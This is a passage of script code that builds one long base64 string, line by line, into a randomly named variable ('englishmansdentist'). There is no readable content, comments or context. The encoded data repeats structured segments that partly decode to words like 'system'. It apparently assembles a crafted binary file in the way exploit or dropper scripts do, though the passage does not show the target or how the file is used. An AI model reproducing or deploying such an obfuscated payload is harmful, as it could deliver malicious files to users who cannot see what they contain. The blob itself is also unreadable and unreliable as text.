    englishmansdentist+="t0+3Ysiqblo4VnhRKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5U" + "\r\n"
    englishmansdentist+="ABEATWVmnuKt3iDpWsJhfCUqBaq+3Yuh3Y3+ibvwnhaS6Iz6SSj7LuJzpBv65+2s" + "\r\n"
    englishmansdentist+="zGzWXxLDzDVHU4zPkxJVZ+vMYASZFxGb2ySel7LZ4TqgZN9qYZG6q1UqylPOvloD" + "\r\n"
    englishmansdentist+="zfLlkn/PRCjufigAAAAAAAMVAKEAZAEAUFBOVAARAE1IJqXeSn7Msyu0eAlLtURx" + "\r\n"
    englishmansdentist+="CmASRBYuQG3kkLgV9pURr8Db1NFQYUiZPSmA1TFIZN2iaUQ94UWkFiYF/l7DU/H6" + "\r\n"
    englishmansdentist+="N8/VwCG77kntKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEA" + "\r\n"
    englishmansdentist+="TWWxXtc7CBknruLNQW+IKVDQ12KneJtvvX+v1mLaaGsOomgEgmBacHUDkaGywS96" + "\r\n"
    englishmansdentist+="XGy0GZZsrBWKFFeLzmfsbBoGkeqoWFF51bdgN2ujEElewXXdNLtqduW0wzSMd3mo" + "\r\n"
    englishmansdentist+="iAaYEYuofygAAAAAAAMVAKEAZAEAUFBOVAARAE1IpEs3NGWUna+sU2fpGPXyTVwz" + "\r\n"
    englishmansdentist+="OGcglIqE4eBY3g/+z5izCnkj2z/sPS9aakXAMLHSuu3Nfbn9H8yh2XcSr8eGPobd" + "\r\n"
    englishmansdentist+="YXYrTWJzKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVn" + "\r\n"
    englishmansdentist+="LElzv9uwvlxX4I0OSARd4ma0alz+KHPL+Jdq2VdwP9KWw2eL2ZtVySKQebnLXgRu" + "\r\n"
    englishmansdentist+="W8v2IMiP2tiUs4WjgOtVjX2PVsOLgpcrDeZnhnS8V72XXxQszQfds/AwkmFyGzRl" + "\r\n"
    englishmansdentist+="uz24gCgAAAAAAAMVAKEAZAEAUFBOVAARAE1ILdzkWVPc0cdnrRa96wX2Ydw8PrH8" + "\r\n"
    englishmansdentist+="V3GjGGCiHMpCTVy3RaQvwWArUW9swly/kAnJtcpHUAgawBj0ApYc2AElSHa9DHaX" + "\r\n"
    englishmansdentist+="arAHKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXjNIsl" + "\r\n"
    englishmansdentist+="pDPpgV++p3zKk1aNS51vCk30E9WtzMtZoNkNKysGms6y6eH+qttDv+QjTPeY+QyD" + "\r\n"
    englishmansdentist+="lCJLo759BsJQks1T1XOH3ae9FQaXd2dvoDKmhIBuuOq+kO2UPWU1bcGCbVSfkU+a" + "\r\n"
    englishmansdentist+="gSgAAAAAAAMVAKEAZAEAUFBOVAARAE1I572ZnURjzaLpMVOvz88jbYdXA9jan0vV" + "\r\n"
    englishmansdentist+="uKBJTmT9VRN/Amcb+gWWQFmcI0F9gGcDT5Bz5XnQlUGh6KumL+BnISioYRYxQkXv" + "\r\n"
    englishmansdentist+="KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWUw8tNCoW4G" + "\r\n"
    englishmansdentist+="Yh5eGXgdJ9PDkGHFEzDlu2Y72FFxf4zKKlW+DAaFDecWpeyvlfVTKDA+FauHv0fs" + "\r\n"
    englishmansdentist+="TMDC6Fap2n4hVo9SKZFQXGhEct+NW5QdJBMeYURgwAP+ZZ7FN5etINttBB6PgigA" + "\r\n"
    englishmansdentist+="AAAAAAMVAKEAZAEAUFBOVAARAE1IX70dbvMlNvTJraIJFJHLz7eXaX5+qGXJYRHV" + "\r\n"
    englishmansdentist+="J3e1y2akYk0GZUkrqenrGQ/5nbv7l5zzhgkrMhg6jy2S/lWdIEvNc9DkLBfQKAAA" + "\r\n"
    englishmansdentist+="AAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWWII0EoHmnr4Pck" + "\r\n"
    englishmansdentist+="4aKtdYBmi0UeezGNwXZeGoFAbyFG2ZuuRRiELvjb+Q3VIbbaiEfb0AkE5hxLcBPo" + "\r\n"
    englishmansdentist+="z4WkgeB4RnW4YdkobZjlvuAdGsBvlN5csxSfwTZaxGcin8+yAq7H35ZWgygAAAAA" + "\r\n"
    englishmansdentist+="AAMVAKEAZAEAUFBOVAARAE1Ibpm3Ay4mdXR3iDxvbpRPYoNFZcT2RqBR3yClu5bm" + "\r\n"
    englishmansdentist+="QQ1D1TJUarhx0xKl30SNtW9oXnumjFu92SlwOrEyQgOHYfQrGA1XeRaqKAAAAAAA" + "\r\n"
    englishmansdentist+="LGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXYjDbCZ34WZ6w6rta/" + "\r\n"
    englishmansdentist+="lcd6wX715o86lgHU+5by4ukWL2HABeNNOKZtjGUXECUUzWTAcSb1XxgQUdWtuRsb" + "\r\n"
    englishmansdentist+="GYNk58Pu67uw9ErD5mbprAyyyfmc4MnDsfGPkal+1Tmd2xVUKYtkhCgAAAAAAAMV" + "\r\n"
    englishmansdentist+="AKEAZAEAUFBOVAARAE1IU0M1msKsBl+o1qZXqZKsCvCkp7pLar/InJcEzDGHVBzf" + "\r\n"
    englishmansdentist+="zQnAobRMt4dYR4Oy7vewSBIIle9mSNfOrEnptH2nMFS5c+Qg+XR8KAAAAAAALGQA" + "\r\n"
    englishmansdentist+="lgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXm95GJnFcZ+k+pSrIRKsk3" + "\r\n"
    englishmansdentist+="gAlji7+y0gHI9uP9pYyggI+v7W6WdE1rspwTaOw+1lqKZmmY09UIOYMBNsZCeODh" + "\r\n"
    englishmansdentist+="bO8x/X/7uNVNp23RZTnzBOr95cIhn2DH6tGlvaraKAWPwZHQhSgAAAAAAAMVAKEA" + "\r\n"
    englishmansdentist+="ZAEAUFBOVAARAE1I1qduSxgRydkIuIo6zZvCg3vN3emU9dgzQdJQkjWtsEHEO2Ar" + "\r\n"
    englishmansdentist+="P6QKMAVk5UuCilYbYShrIzt84DUNiR2Bw8WXchyAbBsNtWhGKAAAAAAALGQAlgAG" + "\r\n"
    englishmansdentist+="c3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWU85ELTf6Fdkvh92Te9/jagvjI+" + "\r\n"
    englishmansdentist+="DMmjtlNXTVoJ+CGWXy3vvK9qQPu4EKbjOyucshmpBEaz92zql5R52CuiS6V/BEhe" + "\r\n"
    englishmansdentist+="CQdLwSsZgi2Js/yhCNFCrUgvxW+9oOt9/M8gEXmXrRlPhigAAAAAAAMVAKEAZAEA" + "\r\n"
    englishmansdentist+="UFBOVAARAE1IRjGhSDX2PcGxVLCg3TPe227k8AvrkMVIcRa531/vwTdC5/k3J/OG" + "\r\n"
    englishmansdentist+="0KlV9d0cLCHK5oSAiJFXFhiZJusUgeMawzrvjudedGLmKAAAAAAALGQAlgAGc3lz" + "\r\n"
    englishmansdentist+="dGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVERvKBhYKot+vllQ5SPL/DitJcPcho" + "\r\n"
    englishmansdentist+="yT2YTY0Z7nAVf1PnjBi3mpWQ+NMUN5VE9eWpMCNGqF9hMuyOjEWZ9MhZ1JIU8vva" + "\r\n"
    englishmansdentist+="5YeyoEJrbnjYaITLxuk/t1h68MyGub8SjH7nGD0vhygAAAAAAAMVAKEAZAEAUFBO" + "\r\n"
    englishmansdentist+="VAARAE1IQrmMGeUmz9KX7W9208YwpUpnETSDouCEcdddQtrdKq0gqlgGicbaZm/A" + "\r\n"
    englishmansdentist+="o4dzvrC/OmrPyaw5an1lbR0/HMhhGNUyBl+1bN7gKAAAAAAALGQAlgAGc3lzdGVt" + "\r\n"
    englishmansdentist+="KAAAAAAAAxUAoQBkAQBQUE5UABEATWUDFFBYbOYISSDHxemgPFdK9faTVkZKzuNM" + "\r\n"
    englishmansdentist+="2Dt1s4vJxgMQL+7s8FQYuIwNjrLiQVAqo3WuIVrOShMxg+TrHOpnxejpmUoYJcZo" + "\r\n"
    englishmansdentist+="zKPwZ+01va6rW7+QeRxRXtBTkvWf99RS3QzsiCgAAAAAAAMVAKEAZAEAUFBOVAAR" + "\r\n"
    englishmansdentist+="AE1IBCRqwTqmcqFmoJiR2kzHQKyw3rwSXQiojCQZ604wDMe9W4A33kFLbH7JRIir" + "\r\n"
    englishmansdentist+="ziQvrJCnJ7F94JqVOc9UDyhIUE2VKhy2xOFmKAAAAAAALGQAlgAGc3lzdGVtKAAA" + "\r\n"
    englishmansdentist+="AAAAAxUAoQBkAQBQUE5UABEATWWov3QsxoLD2vMubuRu4g0nHPgTeIgcCfOgMpIu" + "\r\n"
    englishmansdentist+="wmva8wpizst5vN7RDjCNHSNKoE9XCDiMX2V4aNsQTPWscbm65BdfhLjfmPGrtc+5" + "\r\n"
    englishmansdentist+="TG6YX6CMAo7caq+qRJ1Rwswa86mry5wziSgAAAAAAAMVAKEAZAEAUFBOVAARAE1I" + "\r\n"
    englishmansdentist+="I1H6Wqh3Y2sQH9jrfj6YRfSSqgFG0AipGrPc+vn1YoH8gPhzCKrdr0ErLc+bU405" + "\r\n"
    englishmansdentist+="P1ZR+H0lOYs8lLQtjpbz4TXka/HzEEHIKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAA" + "\r\n"
    englishmansdentist+="AxUAoQBkAQBQUE5UABEATWVSaEcxz4/ZwvgscWyhmxkPehqoB1E0A4tg/RXMve3y" + "\r\n"
    englishmansdentist+="wGm7xHoVPt38FZm+cZ/FP5/JpsOaUtaggbtSn0fhGMFrShArXI4wZM0cKth1gbSz" + "\r\n"
    englishmansdentist+="ecar/T3IHEyHLnKc6wHh5WFmVOPWiigAAAAAAAMVAKEAZAEAUFBOVAARAE1IjL2d" + "\r\n"
    englishmansdentist+="30xwSCCBBd6WtZw7jhsg5zVG9IaN5jD6CdGARC2DziKqhQh2avjbk7+A9UB6y4XF" + "\r\n"
    englishmansdentist+="3DZ4wEKGaw+JUZmJ6Q3H82tTkb2RKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUA" + "\r\n"
    englishmansdentist+="oQBkAQBQUE5UABEATWV24w6EvD+/LY2AlqTbpZNu93+J1kik1+Dtn3sk5bxYHZ9U" + "\r\n"
    englishmansdentist+="8DyjBE4hO8N4cL8sMbyA6Uatx7Y4LhbNiaAXO2/ZUuZIAxnYbRLRju70EMC0HIum" + "\r\n"
    englishmansdentist+="g46F5qE3lVdXemnHD9uJ4IK/iygAAAAAAAMVAKEAZAEAUFBOVAARAE1IqFyHDHqm" + "\r\n"
    englishmansdentist+="66mdJh/GqEHkxeRY76OrwYYMBCcvgWsOgCSHNelch1u/z+giW0KSyIBk6jPkbL0l" + "\r\n"
    englishmansdentist+="H3i4IqxzSMSDpI8OzJpxgCtuKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBk" + "\r\n"
    englishmansdentist+="AQBQUE5UABEATWUXgTtUL9PGR0elL8lYF5KuBI1Mm5TdNoFGnFKn13dOW/UfeBCF" + "\r\n"
    englishmansdentist+="hZgQUu1hQi28umIDRb0x7sCqwdSfgKuCJroo+de0zseEPikKTfadG73WE4QrmLEi" + "\r\n"
    englishmansdentist+="WV0zEdlIFWP4YjpDlXk0jCgAAAAAAAMVAKEAZAEAUFBOVAARAE1IVQNlxRcLVvIk" + "\r\n"
    englishmansdentist+="UJID9StY5BoaL2tyHoGdk+akuJNGPCmqtSfgx3fIn3gs/D5yOmTW6f5uyCM77ERR" + "\r\n"
    englishmansdentist+="cEeWXeFU3XjfAkAY7IVCKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQ" + "\r\n"
    englishmansdentist+="UE5UABEATWVrk5Gau1AI3tSRzHfoEjFQB5h0ibFmBc2LSNhpoc6myXhRLrU9cnyZ" + "\r\n"
    englishmansdentist+="QtZjYjqH31JD78EWUtl2vOBCArGwhDJrRLge8wOs4Ou6aLk/MIhuIMGNL4KfT7qu" + "\r\n"
    englishmansdentist+="naIuNDF9D56boBCAjSgAAAAAAAMVAKEAZAEAUFBOVAARAE1IyhM2Bvlgto+QCkHb" + "\r\n"
    englishmansdentist+="YA0f3KrczfsHyn/QuzUXLXNwIFL2vnBb3GOul8YLm+splF0GKZ+SOpShfDeRLgMd" + "\r\n"
    englishmansdentist+="6A7KJ47TYalqnF1nKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5U" + "\r\n"
    englishmansdentist+="ABEATWXljLADTdUkl3XB0E3cmxbYme92xD/tAYBEfcj40MLj1qmhmRQjBQv7mHE7" + "\r\n"
    englishmansdentist+="W6atn+1jDf7A4wwMrXDuTJVmEdCEdltTYyzdGGZA4mza2FrZfCUcFPNt5afBF2V5" + "\r\n"
    englishmansdentist+="FqpMFdNW2cR1jigAAAAAAAMVAKEAZAEAUFBOVAARAE1IE6y7zL5b44OIpexLv8AM" + "\r\n"
    englishmansdentist+="iZSK9ZvfIshXQr4L9/xAwxyjPMfxFh8RWOslZvC5pC31P4mB3hxulYD9QHbmxb0D" + "\r\n"
    englishmansdentist+="bdnge13me0GfKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEA" + "\r\n"
    englishmansdentist+="TWVs7D/FQ3ii9Xn8N/XGoif90imAXLeFJszVfXpgg8uv7pCh0+4184ONeYpwHIAX" + "\r\n"
    englishmansdentist+="q4bfYMHheNWx3d900BbdbH4hCWfsVg3axweaWPFIky43F2xQMMZg8xiSarbzWZXH" + "\r\n"
    englishmansdentist+="tlWz77ivjygAAAAAAAMVAKEAZAEAUFBOVAARAE1I8fRX82Ic4kHvVcr15e4xIWou" + "\r\n"
    englishmansdentist+="siMMuMXY7UlO8pJ0znC2FPo1fQ3RkjL9SrLjuYzOONm+DoN7hQXXaRuvzrMx4c8S" + "\r\n"
    englishmansdentist+="aOu97buTKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWWY" + "\r\n"
    englishmansdentist+="poYfJrF6dxRTZBu8geES5Kjghbz3Qg9ezz2DIw4BXw7NM12OZZKI9f21WsXb7wVY" + "\r\n"
    englishmansdentist+="jUu01RHRxCk1+K/OOmrYJQbrzjDo1jt2TKkj2R8tpBKo6Ma8VhihnzYMcBLLJ7MW" + "\r\n"
    englishmansdentist+="2D0mkCgAAAAAAAMVAKEAZAEAUFBOVAARAE1IP9e3jNmtIRlYa36CoI42jTyotAra" + "\r\n"
    englishmansdentist+="yccEXarQXMDokFYbVwRDDKPiHsZkNPY835QlRXCsJpjzavZPPWkWstg8m0oU8+6e" + "\r\n"
    englishmansdentist+="sZ5mKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXaPfsk" + "\r\n"
    englishmansdentist+="v0ZN6/WdcedAuRghqXZZ3x1Rfn98QTLoz2XuZ2qm9/Gzb5OPjqjXDuQy2Zlc0XOM" + "\r\n"
    englishmansdentist+="1Ad/zYSYwkuBVFHhduGtEUQSg/15kCIXOnCmyHtP7atgs0ubZ2Qe/UIdL9wntQj4" + "\r\n"
    englishmansdentist+="kSgAAAAAAAMVAKEAZAEAUFBOVAARAE1IResadUng9FCfmVpXQ3tsnuUf2ElGbR2y" + "\r\n"
    englishmansdentist+="QWPXqsxtXew2x0Rzuqdfyx/UtToXZveHOxAHe3AIAtxb0YTg4ONo9Tty08Gsfddm" + "\r\n"
    englishmansdentist+="KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVlV2qqhK3+" + "\r\n"
    englishmansdentist+="UtNblx1dEHe9FiVSYAR0UeEjwoR1LoE/vs1XCC89cFy219k/Z6vqkFyaFE5Q/Qej" + "\r\n"
    englishmansdentist+="TGKb9OVsXdxCVRcLlCNbUi4NdY3XIoXKg79kZB7AB1WVGeCyt8ZDXSSk3tnrkigA" + "\r\n"
    englishmansdentist+="AAAAAAMVAKEAZAEAUFBOVAARAE1IOJ+GAuQTBjSwUwrN/OZthmJrweQKhC7PvOjY" + "\r\n"
    englishmansdentist+="XwwBvZKo9gw7eqgLiGpRlJl4biqEJrWwLaN6wGb5j9C1f9TsLcejXa2MMOosKAAA" + "\r\n"
    englishmansdentist+="AAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWWPASEN+9lDZHDp" + "\r\n"
    englishmansdentist+="TST7xazuUPwqsKC+g6UWc1r6iq/cu4ZyyBf9Dkew1pYsT85rHjG7hTKmuCeEMDKz" + "\r\n"
    englishmansdentist+="SoR+LgEf3zgPbZj0rkcS0ErwhHokMWABoq+2fttH7UDgdyfEWoJQb9+RkygAAAAA" + "\r\n"
    englishmansdentist+="AAMVAKEAZAEAUFBOVAARAE1IjojbRfs6DiEqDbpGg8yZry89XrM9fjbI44jWXLS5" + "\r\n"
    englishmansdentist+="j8ZMxBMPpPVEs3E+wgWb0ZxRZOXIejxUyjXAoU1rF0fTH+Othlo6siNLKAAAAAAA" + "\r\n"
    englishmansdentist+="LGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWW7OAhRQ4KdBT4Du/Qr" + "\r\n"
    englishmansdentist+="NodDbTl7sqPJ1nATUU8cEqhEURAqO1g81fMKSiXHvXsgvj1CgAmBsX0fWDzGa5Ov" + "\r\n"
    englishmansdentist+="lK/0GEn2h21OW1/B4ly1wZEpOUO3gm6/KqA/aSfCSLy9zjAr1ryYlCgAAAAAAAMV" + "\r\n"
    englishmansdentist+="AKEAZAEAUFBOVAARAE1I7+/70oPg2Qy4lOcVFyBfV3QYtVNSmycMCPF8w0Ya9Y/7" + "\r\n"
    englishmansdentist+="T2jzGsaENEW8g3ERBPtgnhwlik1ST/OIh/I3EGL3tvJ/kyKuSIPmKAAAAAAALGQA" + "\r\n"
    englishmansdentist+="lgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWV1KOu/LbSg9zWTFaRjetpk" + "\r\n"
    englishmansdentist+="YlzV3dMI951fKNx7HhvuLHlyfDQJk3bUVGQaKjxYVAHa1zTNiWceIPJqDuvjBMBM" + "\r\n"
    englishmansdentist+="ssb1x+/8mvNF9jBkLC4qumXlgejN6G1ei/pUKi3G3tyl235ElSgAAAAAAAMVAKEA" + "\r\n"
    englishmansdentist+="ZAEAUFBOVAARAE1I02MFnHVDuW8wR7HJmQGc2OX63cMrE0SrxDwVuPnprDRLNZ5a" + "\r\n"
    englishmansdentist+="esSDKuf5Mqw2IsgOvxpG/vhu4bQkNxcGibNz653sNQUWfr43KAAAAAAALGQAlgAG" + "\r\n"
    englishmansdentist+="c3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWWjqMwtJ9KyvvC/aBBKWJFSaJ5+" + "\r\n"
    englishmansdentist+="Lk+AOImtEoC3LPoIClaxk1p6JHLwuHTwMZifIlheV9HlbyfA7hMsG9rKVF/Tmod/" + "\r\n"
    englishmansdentist+="imikg2n5yW/vhp7MXHBVfyk0/UHMBc+MHiwiM5qxmnFhligAAAAAAAMVAKEAZAEA" + "\r\n"
    englishmansdentist+="UFBOVAARAE1IU3rIuEJVXyDdNS7DuY/WORXqUJVimkNxqYpUIIpsMMDBSZM7yLQi" + "\r\n"
    englishmansdentist+="2JXJTrn1Chemr1XviLcslBfNOP3ytoBq3mc+lA9slAN8KAAAAAAALGQAlgAGc3lz" + "\r\n"
    englishmansdentist+="dGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXCTpowkctjQsQwi6c4M7+RRmHTbnNk" + "\r\n"
    englishmansdentist+="uC8ZDuocrZ4ytKk77eOW5cYpRPfvv7df6rHnweGroa2fc9n6HBW+jclxto+EVsF1" + "\r\n"
    englishmansdentist+="N7tBq1lnvW4ijbKbm5XP+H+x0MgXcnIfzu971AfTlygAAAAAAAMVAKEAZAEAUFBO" + "\r\n"
    englishmansdentist+="VAARAE1IcJePqPXXaPlwI16Bzr/a2DHsrzxPxix1SBoosa8bgWyneJLlzI4jnaJK" + "\r\n"
    englishmansdentist+="ezOHf97snTZkqM/MGyZlT6p/PPht+xxH76xOafxAKAAAAAAALGQAlgAGc3lzdGVt" + "\r\n"
    englishmansdentist+="KAAAAAAAAxUAoQBkAQBQUE5UABEATWXNsz+PVbRZEZyHvNjtNQhUlZYMbCSSqSci" + "\r\n"
    englishmansdentist+="PTh/L4rQkRQ+WM/VyVtMWqLD8njqgJlSzPHOno1+Vbid6CxLnd4UPMldbdGmX22k" + "\r\n"
    englishmansdentist+="S2hmW1Z6WbTZ5koIGpm7ia5mxanRzAq5R8sxmCgAAAAAAAMVAKEAZAEAUFBOVAAR" + "\r\n"
    englishmansdentist+="AE1INcFFCfxNguyvdFO3hK9byNvwEFbjxfyoduavf6eiDCoYFV1/hn/ShLe+y6kv" + "\r\n"
    englishmansdentist+="RKd/y1Jj4r0533cFG/tLxN1nqLcmVvcLvAF2KAAAAAAALGQAlgAGc3lzdGVtKAAA" + "\r\n"
    englishmansdentist+="AAAAAxUAoQBkAQBQUE5UABEATWXZPhjlyZIS4aQHe/G3bSwg0DmZCn31GVF9A09j" + "\r\n"
    englishmansdentist+="++2bU6l/xu0UqMG2Z16j0xnH4dOBk8oe3/o6BfE9xnN4/Rzt3ZvXC3CTxwQyMpik" + "\r\n"
    englishmansdentist+="0LryEd8GRrWoAtXy0vGsqUPj4W1YLa9LmSgAAAAAAAMVAKEAZAEAUFBOVAARAE1I" + "\r\n"
    englishmansdentist+="7GgiH07hc0R4wTOa4/AgxTof1ZD5xlJQxpo1NB9cHYtCSa+fM1a+YE1bWHmqQNoM" + "\r\n"
    englishmansdentist+="mXsUnXHjcG8ZLEjyY9VUaspbO2h3/mlqKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAA" + "\r\n"
    englishmansdentist+="AxUAoQBkAQBQUE5UABEATWU5Ew0HdmRjDXs/Sx5jBSzg754vo3/T71CNzXaj3dLJ" + "\r\n"
    englishmansdentist+="ncl42NixWgYUOZ8jXytgD0a2Du2D8BH2bTba/MJTV5/8Nicx2PWffTnS2Cj4Q7sQ" + "\r\n"
    englishmansdentist+="A3OSahxl1Ni9Hb9Qf+eOEVFgvHQwmigAAAAAAAMVAKEAZAEAUFBOVAARAE1I+kTr" + "\r\n"
    englishmansdentist+="VPQq0MdVZYZF3FVzPansZf48wtfY2AysMs3m41Cq1tcN7eJ+8C4vNghLgMP7tbLd" + "\r\n"
    englishmansdentist+="ujw26B2H52nzrlSu9w90NdC4VnPjKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUA" + "\r\n"
    englishmansdentist+="oQBkAQBQUE5UABEATWXBdEoGw036vKsB5ENrb77cfcKovtu94ytZvFzT9dzeVjYd" + "\r\n"
    englishmansdentist+="VMb09aAl0z6Jr7vKd+9uxDB80uWDM+raCxPw29ZDyZNTmi3AJCSeWkDhzLUfeDSc" + "\r\n"
    englishmansdentist+="L9u8lnGlR4NuUpq9W/Lwy6iXmygAAAAAAAMVAKEAZAEAUFBOVAARAE1Iavnd76bK" + "\r\n"
    englishmansdentist+="44HjnaXkz4U8XWmgd18Z6xgejfVN8kBCHZxR+BAOqY29/u/16N9vPFZCTdlOgTXb" + "\r\n"
    englishmansdentist+="+s0IAYEbdfzlUS0a3kGQK3eXKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBk" + "\r\n"
    englishmansdentist+="AQBQUE5UABEATWWEQ6hoZgzjkIsqi3qZmoB79WCohHeGnSLuwFuba68nRuAJkL4q" + "\r\n"
    englishmansdentist+="wrYh6XW2+mv3ag7on2KYV/FJRzZdf3J1sUrV6dYxbF+7BIvXrzwC9FXtMBpTNgRG" + "\r\n"
    englishmansdentist+="3lDAQmQtaQ5OxdcsSANDnCgAAAAAAAMVAKEAZAEAUFBOVAARAE1I0dVpNm7Rb9Gr" + "\r\n"
    englishmansdentist+="kKJZaxeRu6Zwh1QCUyZlujDkpd32a11yd+9Ga9yM9S8Ti8NljMcB/VAqjgarIJYw" + "\r\n"
    englishmansdentist+="gWBf3I2yG16UCLE22bhEKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQ" + "\r\n"
    englishmansdentist+="UE5UABEATWU+zg91OV8cVf212sqN/q52RvlR7K66CijToYU239n71MhDATvCRK+H" + "\r\n"
    englishmansdentist+="eF2kJXjiV8P610ACfjaOdkSjqk8h9VAP4W2WqoP0lK5uifqFVfB9hXnhFhMovD5A" + "\r\n"
    englishmansdentist+="Oh0bUFZTjpvJ2XQfnSgAAAAAAAMVAKEAZAEAUFBOVAARAE1IojW7KgcIuJhU03MN" + "\r\n"
    englishmansdentist+="EmUtYyIZCQR1JOVFiBZ5cuCaob3x0QqajSsj1Fc1cPE8OT76lRi4jtVMhwxpcL7L" + "\r\n"
    englishmansdentist+="tkmQc+yZPvN8z+B9KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5U" + "\r\n"
    englishmansdentist+="ABEATWXayJISmLpvrE+TD/BpuNdGTJ3xLvsKGvWzbg1ncF0Ilg5P5Zbv0k8Qxmep" + "\r\n"
    englishmansdentist+="hV8QI2Az3pFjkYN8whEuCHUwvBPtwI5Y7jTr0YQYfxTtFYQWisZ8/X576WYbdsWu" + "\r\n"
    englishmansdentist+="36lk4x12UMLUnigAAAAAAAMVAKEAZAEAUFBOVAARAE1IfANUNQbGwRMLy8fDU8eH" + "\r\n"
    englishmansdentist+="3eL64w76LGi6807Gf0pr5EYKjZoSBDcJJ+gsucvSG1wkH/NwcGNXflhO/m4/Db1n" + "\r\n"
    englishmansdentist+="i0SX088izTGiKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEA" + "\r\n"
    englishmansdentist+="TWWHZM8u5NWcO6qj6d8YSy5UH4X1Ry8t1zO6rpX2IJNdSt7MWTzOZUxZL1mevysX" + "\r\n"
    englishmansdentist+="kJn0deFRzqSwFyzo2Mtkl6UnEToRE4M2V/px7jw9VMqsUoXnHN2tHFFWceIGYPnw" + "\r\n"
    englishmansdentist+="AopoDRKTnygAAAAAAAMVAKEAZAEAUFBOVAARAE1Il8CQ32vI2k30gXD0r4b0MDeP" + "\r\n"
    englishmansdentist+="A1iXxemMmL5VDFYu42lOjbMbOs4BrBphtD96eCxXgQTwysw+t++eKmeReA93CYkh" + "\r\n"
    englishmansdentist+="ZvYedI/eKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVw" + "\r\n"
    englishmansdentist+="kzQ4FHThLEeJO6tqghD0EWDqQo+mIqreCjUYhbbeNlZLlCzStqJM5zHZNvFQ8c2b" + "\r\n"
    englishmansdentist+="mn2PhnKkUYHlkF0JE6S+y8RlsTYDYR1zG7ruDu3RcZMUnTZugiXIU1XZ8V6YAVx5" + "\r\n"
    englishmansdentist+="Qh6moCgAAAAAAAMVAKEAZAEAUFBOVAARAE1I4aV3z5tqq62KLYCg+Bm0M4ZeMaXa" + "\r\n"
    englishmansdentist+="BFFPcNR/sLARGjGpc6hcv09lhGJhO+Vx9RbUKyTCQUebIytH5hIqbIKhvoDIIHzd" + "\r\n"
    englishmansdentist+="+4bVKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWW0aKeQ" + "\r\n"
    englishmansdentist+="SAL8q+hzOLty3GSJF24M+0zy3waFiXO8o6+WSsyp0rhznouQdXFVA9eHErtClDMk" + "\r\n"
    englishmansdentist+="m8PtA/4jmmhlsQrLGRMxQZIyyKWo0U3Io2IQT0cNsGVLY8j6XIj3lx5MM5ozG6DS" + "\r\n"
    englishmansdentist+="oSgAAAAAAAMVAKEAZAEAUFBOVAARAE1I6SupVYbKtYiiPyYl0xMUUfJDVn01N1gq" + "\r\n"
    englishmansdentist+="cdNWL9i+Ztlm/ghQNx+Mg075Dl2/Z1g22N9mYUMw8MGpp5lW9YYulZ80pZEPEzvH" + "\r\n"
    englishmansdentist+="KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXCcmJlBVba" + "\r\n"
    englishmansdentist+="NuK6q8BxBVjSvC8PHZyADgPPSSpdh3qOJMmQpe/Hr2Yzo2HDBs3FlJNG0qva/kCD" + "\r\n"
    englishmansdentist+="6t3RKzZFrb0200lF+lTPL9tVYzvbjxER/ogLUTSF53TfW2ci9BOKaV/2kJLIoigA" + "\r\n"
    englishmansdentist+="AAAAAAMVAKEAZAEAUFBOVAARAE1II5jIo9hfeDkTC57gbVTGC7EdKzp3o22w3nqX" + "\r\n"
    englishmansdentist+="y/RszeTLczrHtvjWW95dd8OMNL6ROQtdGhQ0XMnFbbVtM+IZJRZU5Uwi2ZDHKAAA" + "\r\n"
    englishmansdentist+="AAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWWjQEICHDfOQO9q" + "\r\n"
    englishmansdentist+="K2m0wRztDtyg/cALfqHqs6EB8rTPTjhtCrcG9HnU23oV1YcJyg0dyI8CVvXzwmWT" + "\r\n"
    englishmansdentist+="pnauSJ8Clyo+y88JJVkg/AvcYsdpXYi7McNVyFcxuX+SDXlU9ELrQrvuoygAAAAA" + "\r\n"
    englishmansdentist+="AAMVAKEAZAEAUFBOVAARAE1IsBchHxFGYLrBwt9lCMCOVr+vauBWinPmKaOxtIIL" + "\r\n"
